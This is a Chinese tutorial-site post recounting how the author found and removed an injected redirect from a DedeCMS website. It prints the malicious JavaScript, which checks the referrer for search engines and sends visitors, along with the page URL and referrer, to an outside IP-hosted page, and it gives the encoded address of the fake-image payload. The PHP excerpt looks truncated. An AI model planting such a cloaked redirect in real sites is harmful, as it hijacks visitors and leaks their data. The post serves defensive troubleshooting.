虚位以待(AD)
虚位以待(AD)
首页 > CMS教程 > DedeCMS > dedecms挂马排毒经历

dedecms挂马排毒经历
类别:DedeCMS   作者:码皇   来源:互联网   点击:

又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下。挂马之后,网站的表现形式:直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站。根据我原来的排毒经验:很可能是有 ,魔客吧
又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下。
挂马之后,网站的表现形式:直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站。
根据我原来的排毒经验:很可能是有人在php里面写入了判断来路的代码,如果是经过百度来的,就跳转到另外一个网站,如果不是,就可以访问。
不过检查了一下php代码,没有发现任何问题。
从百度关键词访问过来的话,能够看到本网站的title,只是一闪而过,就跳转了。根据这个现象判断,马应该是在js里面。于是下载网站模板文件,查找可疑的js代码。找了很久没有找到。只好通过最笨的方法一点点排查。于是每一段写了一个alert。
找到最后出现的alert点击确定之后跳转,那么马就在那个alert附近。
找了一段时间,终于发现了一段可以的代码:{dede:dinfo}
做dedecms的人都知道,这个是一个自定义标签的调用方式,其源码在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:

[代码]php代码:

    exit("Request Error!");
    }
    /*** 系统默认标签** @version $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $* @package DedeCMS.Taglib* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.* @license http://help.dedecms.com/usersguide/license.html* @link http://www.dedecms.com*//*>>dede>>系统默认标签全局标记V55,V56,V57系统默认标签{
    dede:dinfo /}
    >>dede>>*/function lib_dinfo(){
    global $dsql,$envs;
    $revalue = '';
    return $revalue;
    }


刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif
能看到如下代码:

[代码]js代码:

    GID89a="";
    var s=document.referrer;
    var str=window.location.href;
    if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )window.location.href="http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;


怎么样,看出问题来了吧?
简单解说一下:

[代码]js代码:

    if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )


这里就是判断来路,如果来源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:

[代码]js代码:

    http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;


(这个人可真够黑的,光拦截百度还不够,还要把这些常用的搜索都拦截了。)
这段代码挂的太隐蔽了,让我找了好久。在这里分享给大家,希望能够帮助需要的朋友。



相关热词搜索: dedecms挂马排毒经历